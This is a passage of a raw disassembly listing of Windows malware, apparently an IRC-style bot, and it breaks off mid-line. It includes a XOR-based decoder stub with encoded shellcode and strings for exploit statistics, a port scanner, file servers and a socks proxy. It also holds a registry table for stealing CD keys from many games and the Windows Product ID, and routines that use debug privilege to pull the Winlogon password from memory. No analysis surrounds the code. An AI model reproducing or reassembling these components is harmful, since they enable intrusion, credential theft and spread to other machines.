6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 436EDCh, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 436EDCh, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 436EDCh, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 436EDCh, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 436EDCh, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 436EDCh, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 436EDCh, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 436EDCh, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 436EDCh, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 436EDCh, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 436EDCh, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al fsubr qword ptr [esi+43h] add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 436EDCh, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 436EDCh, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 436EDCh, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 436EDCh, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 436EDCh, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 436EDCh, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 436EDCh, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 436EDCh, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 436EDCh, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413643o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset byte_4E0049 dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 